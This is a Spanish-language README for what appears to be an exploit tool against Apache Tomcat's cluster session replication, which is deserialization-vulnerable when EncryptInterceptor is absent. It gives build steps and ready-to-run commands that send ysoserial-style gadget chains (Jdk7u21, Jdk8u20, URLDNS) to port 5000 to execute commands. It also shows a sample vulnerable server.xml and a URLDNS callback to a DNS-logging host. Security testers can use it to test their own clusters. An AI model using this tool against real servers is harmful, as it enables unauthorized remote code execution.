
Cuando Tomcat utiliza su función de sincronización de sesiones incorporada, una configuración insegura (sin usar EncryptInterceptor) provoca una vulnerabilidad de deserialización. Mediante paquetes de datos cuidadosamente construidos, se puede atacar a los servidores que usan la función de sincronización de sesiones incorporada de Tomcat. PD: esto no es CVE-2020-9484; 9484 es la vulnerabilidad de persistencia de sesiones, ¡esta es la vulnerabilidad de sincronización del clúster de sesiones!
La herramienta se utiliza únicamente para investigación de seguridad y autoevaluación interna. Está prohibido usarla para lanzar ataques ilegales; el usuario es responsable de las consecuencias.
Este es un exploit de deserialización causado por una configuración insegura (sin usar EncryptInterceptor) cuando Tomcat utiliza su función de sincronización de sesiones incorporada. Mediante paquetes de datos cuidadosamente construidos, se puede atacar a servidores que usan la función de sincronización de sesiones incorporada de Tomcat.
Primero compile el archivo jar:
mvn clean compile assembly:assembly
El archivo jar generado se encuentra en el directorio target.
Uso, por ejemplo:
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk7u21 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk8u20 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 URLDNS "http://tomcat.xxxxx.ceye.io"
(conf/server.xml):
<Server>
...
<Service>
...
<Engine>
...
<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
channelSendOptions="6">
<Manager className="org.apache.catalina.ha.session.BackupManager"
expireSessionsOnShutdown="false"
notifyListenersOnReplication="true"
mapSendOptions="6"/>
<Channel className="org.apache.catalina.tribes.group.GroupChannel">
<Membership className="org.apache.catalina.tribes.membership.McastService"
address="228.0.0.4"
port="45564"
frequency="500"
dropTime="3000"/>
<Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
address="123.123.123.123"
port="5000"
selectorTimeout="100"
maxThreads="6"/>
<Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
<Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
</Sender>
</Channel>
<Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
filter=".*\.gif;.*\.js;.*\.jpg;.*\.png;.*\.htm;.*\.html;.*\.css;.*\.txt;"/>
<Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
tempDir="/tmp/war-temp/"
deployDir="/tmp/war-deploy/"
watchDir="/tmp/war-listen/"
watchEnabled="false"/>
<ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
</Cluster>
</Engine>
</Service>
</Server>